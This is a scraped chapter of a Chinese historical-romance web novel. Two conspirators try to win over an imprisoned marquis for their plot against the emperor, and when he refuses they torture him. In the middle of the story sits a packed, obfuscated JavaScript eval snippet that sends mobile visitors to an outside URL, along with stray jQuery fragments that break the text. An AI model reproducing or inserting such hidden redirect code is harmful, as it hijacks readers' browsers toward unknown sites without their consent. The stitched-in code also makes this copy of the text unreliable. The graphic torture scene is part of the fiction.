默认冷灰
24号文字
方正启体

76. 旧恨

作者:怀梦千秋本书字数:K更新时间:
    “他怎么会这个时候来?不是应该今早就被陛下传令前往行宫了吗?”燕二十分诧异,忍不住小声嘀咕道。


    他之所以敢答应云昭昭带她来诏狱,就是算好了赫连海今日要去汤泉行宫面圣,往来山路崎岖难行,又有冰雪覆盖,来回少说也得要四五个时辰。本该还在永周山上的赫连海怎么会这么快就出现在诏狱呢?


    就在燕二怀疑有诈的时候,外面果然传来了赫连海的声音。


    ·


    下行的楼梯尽头,赫连海眼尖地发现关押犯人处的铁牢大门虚掩着,立马掐过江百户的脖子,将他拎了起来。


    可怜的江百户,好端端的七尺男儿在巨人般的赫连海面前,竟像一只小鸡崽一样被拎着脖子。


    听见赫连海咔嚓一下捏紧了江百户的脖颈,粗声粗气地质问道:“怎么回事!下面铁牢的门怎么开着?!”


    江百户被卡住要害,吓得脸色青白。


    方才在牢房里,他盯着随燕二而来的那位相貌格外俊俏的陌生千户,忽然福至心灵,认出了她便是数日之前骗过自己闯入狱中,害得自己被武安侯责罚的罪魁祸首。


    不过,江百户虽然与云昭昭之前有了过节,但作为看守诏狱的老人,对周徵这位前任指挥使,还是敬重有加。经过燕二刚刚的一番敲打之后,他敏锐地猜到此次燕二与云昭昭前来,多半是冒着风险,来救周徵出去的。


    因此,方才他一见到赫连海,便故意地在楼梯间大声喊着赫连海的名字,以示提醒。


    可现在面对赫连海的威逼,江百户只能战战兢兢地回答道:“是、是燕镇抚来过。”


    他还留着一丝最后的希望,没有直接向赫连海点明云昭昭的存在。


    而与此同时,一丈开外的刑室里,燕二见赫连海马上就要进来,急得不知该如何是好。


    反而是最铤而走险的云昭昭投给了他一个安慰的眼神,小声劝道:“别担心,我有办法。”


    上次她在这里就成功地躲过了被赵昶撞见,如今不过是故技重施。她在燕二震惊的目光中,以迅雷不及掩耳之势,轻车熟路地就往那张行刑台下钻。


    不过这次因为身上带着伤的缘故,这大幅度的动作一不小心就牵动了小腹处的伤口,鲜血透过袄子里的棉絮,渗了不少出来,摸起来湿湿黏黏的。


    下腹的剧痛疼得云昭昭忍不住弓着身子吱哇乱叫,赫连海听到刑室里的动静,连忙加快了步伐进来,却发现只有燕二在里面。


    “怎么只有你?”赫连海难以相信自己的眼睛,立马恶狠狠地瞪着燕二道,“刚才是什么声音,谁在这里面叫?”


    燕二定了定神,连忙恭恭敬敬地行了屈膝礼,镇定道:“属下参见赫连大人。属下以为您今日要前往行宫面圣,便想着来这儿看看手下的人有没有偷懒。”


    说到这里他故意装出一副疑惑不解的样子,“这间屋子里自始至终只有属下一人,不知道大人方才听到了什么声音……哦,如今狱中老鼠甚多,可能是老鼠弄出的声响。”


    说完燕二起身抬头,才发现跟赫连海一起来的,还有一名身披黑色大氅,带着黑纱斗笠,看不清脸的神秘人。


    “可真他娘的晦气!”赫连海呸地吐了一口水,骂道,“赶紧去把这些祸害给处理了,否则休怪老子不客气!”


    “是,属下立刻就去安排。”


    “你可以滚了。”赫连海粗鲁地说。


    燕二有些担心云昭昭,临走前担心地瞄了一眼行刑台的下面,幸好黑黢黢的台下根本看不清什么。他便赶紧再赫连海的怒视下悻悻地离开了。


    路过那名黑衣神秘人身边时,周遭的血腥味中,竟有一道如兰似桂的香风扑鼻而来,再看那人略显瘦削的身形,燕二断定其应当是名女子。


    而在他离开后,躲在行刑台下的云昭昭看见跟随赫连海而来的这人,行走间黑色大氅下露出一双淡紫色的绣鞋。她上次去延禧宫时,独孤晴脚下踩的正是这一双。


    她当场震惊,独孤晴居然与赫连海还有往来?!


    而与此同时的屋内,独孤晴大大方方地揭开面纱,露出一张如出水芙蕖般清丽婉约的脸。任谁看了都想不到,她就是那藏在幕后搅弄风云,妄图执棋天下的黑手。


    与云昭昭一样震惊的也有身上拴着铁链的周徵。


    他死死地盯着独孤晴,那日醉仙楼里东瀛公主的形象此刻已与她重叠在了一起。


    “是、是你……”他艰难地开口。


    独孤晴莞尔,温柔的眉眼里看不出任何东西,只轻轻地回答道:“是,是我。”


    而再看看今日出现在这里,带她进来的赫连海,周徵终于明白过来,原来他之前一直在查的锦衣卫里的奸细,竟然就是他。


    他过去对此人印象欠佳,但也只是认为他凶狠粗鲁,野性未泯,身上还留着蛮夷之风,却从未想过此人会胆大包天到盗取狱中的见雪尘。


    “咳,咳咳……你们……”周徵声音喑哑,他想到赫连海竟这样辜负了赵昶的信任,心里更是又悔又恨,“赫连……见雪尘,是你,是你偷去的……原来你就是奸细!”


    赫连海闻言,面露讥诮,哈哈大笑道:“哈哈哈哈,都说武安侯断案如神,明察秋毫,现在看来也不过如此!”


    “可惜,你知道的太晚了!”他得意洋洋地说,“现在的你,已经从堂堂指挥使沦为诏狱里的阶下囚了。而整个锦衣卫,反而要听令于我这个奸细的号令!哈哈哈,真是讽刺!”


    赫连海说罢,见周徵露出痛苦的表情,心里更是乐开了花。


    他丝毫不顾忌独孤晴在场,径直走到周徵面前,掰过他的脸,凑到他面前,恶毒地说:“昔日侯爷看不起我赫连,说我手段下作,发配我去屯田所。可侯爷是否还记得,隔壁牢房里左侧进门第五间那个叫冯潇的人,是被何人弄成那副人不人,鬼不鬼的模样的?”


    周徵看着赫连海眼里的疯狂,只张了张嘴,没有说话。


    冯潇这个名字如同他心头的一根刺。


    每每想起,总是能逼着他正视自己灵魂上的疮痍和满手的鲜血。


    当年他刚刚接手锦衣卫,被赵昶任命为指挥使,急于证明自己。


    正好先帝匆匆病逝后遗留了部分对赵昶能力有质疑的朝臣,其中冯潇在先帝时期功劳赫赫,却被赵昶从锦衣卫指挥使的位置上撤下,封为太子少保,领一个虚衔。


    这样的明升实贬引起了冯潇的不满,加上其本就对赵昶颇有微词,如此以来,更是开始公开指责赵昶的不是。


    后来他掌握了冯潇任指挥使时私授卫所中员额的证据,赵昶依此罪证将冯潇打入诏狱,并命他替自己对其施予酷刑。


    可冯潇在锦衣卫多年,什么样的刑罚没见过,也是个出奇难啃的硬骨头。他不仅没有在酷刑下低头,反而大骂赵昶是大周有史以来最糟糕的昏君,还不如让当时已是内阁首辅的云琛取而代之,气得赵昶当即要对其实施剔骨之刑。


    当年冯潇字字泣血的咒骂仿佛还萦绕在耳畔,周徵抬头看着居高临下的赫连海,突然开始思考自己会不会落得和当年的冯潇一个下场。


    很快他自嘲地笑了。


    但赫连海却看不得他眼中的嘲弄之色,只以为他是在嘲笑自己,更是火冒三丈地说:


    “都死到临头了,武安侯还以为自己像以前一样在你的陛下眼中不可替代吗?你们中原的汉人都是这样自以为是,总觉得全天下就你们汉人最能耐。就连你们中原皇帝也是如此,还号称什么上承天命,下顺民心所降生的真龙之子,依老子看来,不过就是个外强中干的孬种!”


    “赫连海,你住口!”周徵终于被赫连海激怒,大喝一声,“陛下他……咳……信任你,授予你官、官位,你不能……咳咳咳……”


    说到这里,他胸口剧烈起伏着,咳出了一大口血来。


    一旁的独孤晴终于看不下去了。


    “赫连将军,”她叫住他,冷冷地说,“你的私人怨恨太多了,别忘了我们今天来此的目的,适可而止吧。”


    赫连海本来还想继续羞辱周徵,但碍于独孤晴的警告,只能狠狠甩开了掰着周徵下巴的手,将对他的报复憋回了肚子里。


    随后独孤晴走上前去,蹲在周徵面前,平视着他,缓缓地劝道:“侯爷,我们今日来,并非要刻意为难于你;相反,我们是来救你的。”


    “咳,不用……”


    经过这一盏茶的工夫,周徵已基本平复了情绪。他警惕地盯着独孤晴,那抗拒的神色中氤氲着拒人于千里之外的冷漠。


    独孤晴眸光如水,毫不在意地笑了笑。


    “侯爷,你我虽交集不多,但晴儿一向敬你是个足智多谋之人。你应该明白,陛下如今丝毫不念及往日情谊地将你关押在此,所以从一开始,他就没想让你活着,他一定会取你的性命。而晴儿进来托赫连将军来此,便是想要为你指一条明路。”


    周徵没有理她。


    他偏着头看向行刑台下方的黑暗——那是云昭昭躲藏的位置,对独孤晴的一番话仿佛置若罔闻。


    但独孤晴很确信他听进去了。


    “我说侯爷是个聪明人,从我掀开面纱的那一刻,你就应当已经猜出我的身份了吧?”她说道,“那我也不再与侯爷兜圈子了。”


    “我的东瀛名字叫晴子,而如今东瀛的现任天皇,是我那不成器的哥哥。”独孤晴说完,发现周徵依旧一脸冰霜,没有什么反应,便笑了笑。


    “我的诉求很简单,就是杀了我那沉溺声色犬马,对外只知道一味俯首称臣的哥哥,从他手中夺回东瀛。我相信侯爷的才能非寻常人可及,所以,我恳求侯爷能帮我,这不仅是帮我,也是帮你自己,更是帮整个大周百姓。”


    “呵……”


    她这一番话说完,周徵嘴角终于勾起一个虚弱的笑。


    他毫不留情地讽刺道:“帮大周百姓?咳咳……自太祖创立大周朝以来,征南诏,收安南百越,从此天下归心,百姓得以安居乐业,唯一让他至死都放心不下的便是东南沿海的倭寇之患。”


    “太宗元年,东瀛便赶着太祖薨了的时机,连年侵犯我东南,抢我货物,屠杀我渔民,侵占我岛屿。”


    “甚至到了高宗天皓七年,还将我朝前往占城、爪哇、苏门答腊等地出使的贸易使团抓获,整整十余艘大船啊!……就那样,那样活生生地……连人带船被你们沉入海底,无数工匠贫农们辛苦劳作一年,用血泪和汗水制成的瓷器、丝绸、茶叶就这样被你们生生抢去,多少人因此吃不上饭,落得个家破人亡,尸骨未寒的结局!”


    “还有先帝乾元八年的岁末,你们趁着我大周上下庆举国祝除夕上元的时刻,进犯粤东省内八个州府,当时的抗倭名将万郁万将军被你们俘虏,死后还要活活鞭尸曝晒在粤州城的城门上……”


    周徵撑着一口气说到这里,声音已经是嘶哑哽咽,最后泣不成声。


    独孤晴沉默地听完他的控诉,脖颈间青筋凸显,似乎也在极力抑制着自己的感情。


    “抱歉,”她说,“那些都是过去爷爷辈们的仇恨了。不过,我可以保证,只要你愿意放弃赵昶,答应与我结盟,我一定会让我们东瀛的武士们,不滥杀无辜,保住你们的城池和百姓。否则的话……”


    说到这里,独孤晴脸上的笑变得狠毒与诡异,“十日后,我东瀛、突厥还有赫连将军麾下鲜卑的将士们联合攻入京城之时,便是你们大周皇帝的死期,也是你们大周朝的死期!正如赫连将军所言,中原的汉人,从古至今便是这般妄自尊大!凭什么你们生来便能拥有大片的良田与肥沃土地,凭什么我们东瀛人,突厥人,鲜卑人甚至羌人氐人匈奴人,自古以来只能安守着脚下蛮荒的地盘,还要被你们汉人称作蛮夷?!”


    “咳咳……诡辩……”周徵道。


    独孤晴的野心已是昭然若揭,如果自己不答应她,十日后京城若被攻下,东瀛武士的尖刀下,突厥骑兵的铁蹄下,定少不了尸山血海,血流成河。


    相反,如果自己答应了她,也许能如她所说的那般保下满城百姓,但东瀛突厥这般大举进犯中原,绝不是为了一时的胜利与掠夺。他们真正觊觎的,是大周连绵千里的河山与沃土,是这片土地上勤恳劳作的百姓……届时,山河被瓜分割裂,百姓为奴为婢,就算换得一时安稳又能如何?


    想到这里,他双眼通红地瞪着独孤晴,胸中似有千万恨意在咆哮,在激荡。


    “你……你一个东瀛奸细,狼子野心……咳咳……还好意思说是自己为了大周百姓!果然……你们夷人……生来未经礼仪教化,便是这般恬不知耻!”


    听到这话,赫连海一脸戾气,毫不客气地讽刺道:“侯爷忘性可真大啊!俗话说有其父必有其子,侯爷如今在这里,在我等面前一口一个大周百姓,好似一朵出淤泥而不染的白莲。可老武安侯夫妇卖主求荣的腌臜事,大周朝野上下记得,大周百姓记得,连我们这些侯爷口中恬不知耻的夷人也记得,可偏偏最该记得的人却忘了。到底是谁恬不知耻?”


    他的话触及了周徵心里长久以来的痛处。


    罪臣之子……


    那是一道诅咒。


    亦是他从小到大都逃不开的梦魇。


    更是他终其一生都想要挣脱的枷锁。


    “我没忘!!!”座椅上被铁链束缚着四肢的周徵爆发出一声振聋发聩的咆哮。


    他赤红的双目好似能滴出血来。


    从幼时被接进宫里,他时刻铭记自己的出身,时刻将忠君卫国放在自己的心上。


    死了的人,风风火火地带着罪恶就此长眠,归于尘土。


    活着的人,却要用自己漫长的一生,为父母犯下的错误不断地赎罪,日复一日地忏悔。


    如果可以,他宁愿倾尽所有,也要洗净这副躯壳里流淌的沾染着罪恶的血液。


    或许是被周徵那声包含着冲天怒意的咆哮声震慑住了,赫连海舔了舔嘴唇,终于不再说话了。


    而躲在行刑台下,早已得知过去真相的云昭昭实在有些心疼,边听边在心里替周徵打着抱不平。


    明明生下来就该赎罪的人却当了二十几年假太子,现在多半正在永周山的汤泉行宫里舒服地泡着温泉呢!却要让无辜的倒霉蛋真太子为不相干的人愧疚赎罪到这种地步!都说造化弄人,依她看来,那负责造化的神仙,就是喜欢美强惨吧?


    同样得知乾元六年八月初四那天真相的还有独孤晴。


    她收起了之前露出的獠牙,敛了脸上的狠辣之色,仿佛又回到了那个清雅如莲的女子。


    她责备地看了赫连海一眼,上前带着安抚之意轻轻抚摸过周徵的脸颊,试图抚平他眉间的皱褶。


    “明彰。”她头一次用这个名字唤他,声音里带着不易觉察的羞涩,“你的痛苦、愤怒、不甘,晴儿知道,晴儿全都知道。”


    “晴儿又何尝不是一样?自记事起我们东瀛国内便是一片狼藉,父皇兵败,我因为是女子的缘故,只能让路于我那不成器的哥哥,毕竟,东瀛历史上还从未出过女性天皇。可他上位后却企图对我赶尽杀绝,以至于我只能带着部分属下乘船逃往大周……”


    “后来……屋漏偏逢连夜雨,我们的船在海上遇上了有史以来最大的风暴,桅杆被雷所击中,一船的人淹死的淹死,被海浪卷走的卷走。幸好那地方已离海岸不远,但我们侥幸逃脱的族人还是就此走散……”


    “后来我有幸得以被独孤将军收养,从而入宫为妃。在京城的每日每夜,我都在恨,都在怨,恨我当初没有狠下心杀了兄长,恨我身为女子……我就这样带着对故国的愧疚活到了今日……”


    云昭昭听着这长篇大论的讲述听得有些不耐烦了。


    独孤晴之所以会说这些无非就是想要获得周徵的怜惜罢了,她所谓的那些苦比起周徵从小所受的煎熬,实在有些矫情得过分了。


    正在这时,云昭昭听见独孤晴对周徵说:“明彰,自晴儿入宫后见到你第一眼起,晴儿就只知道,我们是一类人。想让与你结盟,不止是因为大局,更是……有晴儿的私心在里面。”


    这几乎是在倾诉衷肠了,云昭昭心想。


    虽说凭理智也知道以周徵的性子,断不可能答应独孤晴,但她却总想着那万一。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413586|179884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    万一呢?万一周徵答应了独孤晴,将来她成了东瀛的女皇,在辅佐他从赵昶手中夺回本属于他的帝位……


    想到这里,云昭昭心里突然有些难受,就像盛满了刚煮沸的水,不断冒出气泡,再破裂……


    这时,只听周徵剧烈地干咳起来,随后毫不留情地拒绝了独孤晴。


    “我,咳咳,我不会答应,我和你……哪里都不一样……还有,请拿开你的手……脏……”


    周徵最后的那个“脏”字说得是格外掷地有声,云昭昭还来不及幸灾乐祸,便听见独孤晴恼怒的声音。


    “好好好,武安侯,你敬酒不吃吃罚酒,既然如此,那就怪不得我了!”


    说罢她吩咐赫连海道:“赫连将军,这下你该怎么办就怎么办吧,先弄一只手,给武安侯一点儿时间,让他好好想想。”


    云昭昭不知道她说的弄一只手是什么意思,毕竟独孤晴这个疯女人,很像是那种一言不合就要砍断人一只手的人。


    她担心着周徵,却又不敢贸然地出去阻止,那无疑是送死,因此也只能继续缩在刑台下,任凭小腹处的伤口生出烈火灼烧般的剧痛。


    很快,赫连海便采取了动作。


    云昭昭悄悄地往外挪了挪身子,试图看清他要对周徵做什么。


    在一声压抑到极点的闷哼声后,赫连海在独孤晴的指使下,挑断了周徵左手的手筋。


    然后就见周徵的左手软绵无力地垂在身体一侧,鲜血染红他宽大的手掌,顺着他修长结实的指节,滴答、滴答地砸落在地上。空气中的血腥气更甚。


    独孤晴冷冷地说:“武安侯,你若是再一意孤行,废掉的,可就不止一只左手了。”


    周徵忍着疼,嘶哑着嗓音道:“我说了……我不会答应的……”


    “赫连将军,武安侯刚废了一只手,脑子有些糊涂了,你让他清醒一下。”独孤晴吩咐道。


    “是,公主。”


    赫连海答应着,从满是刑具的墙上取了几枚锋利的长铁片。正在云昭昭诧异这些铁片用途的间隙里,他没有一丝拖泥带水地将几枚铁片顺着周徵的指甲缝插了进去,鲜血瞬间喷涌而出。


    十指连心,云昭昭光是看着小腹伤口处就一下一下突突地剧痛,那日在梦里代替原身受刑的痛苦仿佛再次上演,眼泪再也忍不住地流了出来,沾湿了她的鬓角,沾湿了地上的灰尘。


    而反观周徵,他已忍得额头青筋暴起,上面满是汗水,可从始至终,他不仅没有求饶,甚至连吭都没有吭一声。


    “武安侯,再给你一日时间,你好好想想罢。”独孤晴说,“希望后天我来的时候,能得到你不同的答案。”


    “你……再来几次,都是,一样……”周徵疼的嘴唇都在发抖,艰难地挤出这几个字。


    “你!!”独孤晴有些恼羞成怒,“那就再废你一只手,手废完了还有脚,我会等,等到武安侯彻底想清楚的那一天!赫连将军,我们走。”


    说罢独孤晴重新系好大氅上的系带,放下斗笠上的黑纱,带着赫连海有些恼怒地扬长而去。


    二人走后云昭昭又等了些许时刻,直到燕二匆匆返回,确定独孤晴他们已经走了,她才有些艰难地满是灰尘的行刑台下面爬出来,一副灰头土脸的模样,伤口仍疼着。


    可她什么也顾不上,直接用沾着灰的手,抹了一把湿乎乎的脸,转而向周徵那边走去。


    刑室正中的座椅上,周徵左手插满铁片,眉头紧锁,嘴唇被咬破,嘴角渗出的血甚至已经凝固。他几乎已经疼得晕过去了。


    等走到他身边,云昭昭才看清那些薄薄的铁片两侧被削得锋利无比,甚至边缘处还带着细小的锯齿,如同鲨鱼细细密密的牙齿。


    被这样可怖的刑具插入指甲,那种痛苦可想而知。


    几乎是一瞬间,云昭昭刚刚擦完的脸颊,再次湿了。眼泪将她抹上去的泥灰冲刷开来,使得她整张脸看起来又花又脏,甚至还有些滑稽。


    但没人会注意她,燕二看着周徵满是鲜血的左手,双手狠狠地攥紧成全,捏得指节发出咯咯的声响。


    “妈的!这群畜生!”他双目通红,眼角湿润,“唰”地一下抽出腰间绣春刀,痛骂道,“他们有种别落到我手里!!!”


    云昭昭忍着伤口的疼痛,蹲下身子,小心翼翼地拨弄着拴在周徵四肢上的铁链,寻找解开的办法。


    她害怕周徵痛晕过去就再也醒不过来了,因此边找边说:“周徵,周徵,你别睡!我会救你出去!你别睡过去!”


    突然,她在椅子背后拴成一团的铁链中找到了一个小锁,那锁形状十分奇特,与这个时代通用的锁都不一样,也与现代的锁有些区别,云昭昭看了一眼它的底部,发现是有锁孔的。


    有锁孔就好办。她连忙向旁边的燕二询问道:“燕镇抚,你知道这把锁的钥匙在哪里吗?”


    她本想着燕二乃北镇抚司的镇抚,就算不保管这诏狱里的钥匙,也知道去哪儿找,因此她对救出周徵抱有了十二分的希望。


    谁知燕二却摇了摇头道:“这不是诏狱里的东西,若我没猜错的话,这是西域那边的一种天机锁,内部构造极其精密,只有与之匹配的钥匙才能打开它,一般用来保管绝密物件。”


    “那你可有认识厉害的开锁匠?”云昭昭问。


    她寻思锦衣卫日常查案中,一定常有需要开锁的场合,因此要么认识离开的开锁匠,要么卫所中有精通此道的能人。


    可燕二眉宇间的愁云却更深了,他咬牙切齿地说:“这多半是赫连海那厮弄来的,钥匙在他那里。若是找人强行开锁,只会令这锁内的锁心自毁,这把锁便永远的废了……”


    云昭昭看着这平平无奇的小锁,她不信这锁还打不开了。


    “那……咱们找更硬的利器,直接把锁砸开呢?”


    燕二叹了口气,蔫蔫地说:“没用的。这铁链和铁锁用的不是一般的铁。里面加了一种金砂,就算是削铁如泥的神兵利器,也砍不动它分毫。”


    云昭昭:“……”


    正在二人一筹莫展的时候,云昭昭感觉身边的人被铁链拴着的脚动了动。


    太好了!他还有意识!


    “周徵……”


    云昭昭眼角酸涩得厉害,胸口处快速萌发的感情似乎马上就要喷薄而出。


    她顾不上许多,紧紧握住周徵尚完好的右手,哽咽道:“别担心,我一定会救你出去的!”


    然而话音刚落,她手中握紧的那只手,便一点一点,艰难地抽了出去。


    “你怎么……”


    云昭昭倏然抬头,正好对上周徵黑亮的眼眸,眼底隐忍的痛苦背后,是一片清明。


    “不用救……”


    她看见他嘴唇动了动,艰难地吐出这三个字。


    “要救,要救的!你什么都别担心,我有办法,我有很多办法,我肯定会救你出去的!”她急切地解释道,浓密纤长的羽睫上还挂着几滴将落未落的泪水。


    谁知周徵却皱了皱眉毛,一副十分嫌弃的表情,随后他忍着剧痛,用尽全力挤出一段话道:


    “不用救……别以为……我不知道,你父亲这次前往凉州集结聂家兵马……背后干的是什么勾当……我周徵……咳,虽生来就带着罪孽,但我……宁愿用我一生去赎罪,为陛下而死,也不愿……不愿与你们这种,咳咳,叛君负国者……同流合污……”


    他字字句句,如同他指尖的铁片一般,精准利落地扎入云昭昭的心脏,让她一时分不清究竟是胸口处更疼,还是小腹的伤口更疼。


    泪水模糊了她的视线,她不愿去深究他的话,只是带着哀求之意一味重复着:“我有办法……我会救你的……”


    然后她就听见周徵冷漠至极的呵斥:“咳咳……你走……走!莫要逼我,叫你滚……”


    想要去抓住周徵的手就这样停在半空,云昭昭表情愣愣的,脑袋懵懵的,仿佛吸入的每一口空气都带着铁锈味儿,都是痛的。


    终于,她垂下手来,然后呆呆地起身,也不顾身后燕二的喊声,就这样如行尸走肉一般,快步走出了诏狱。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)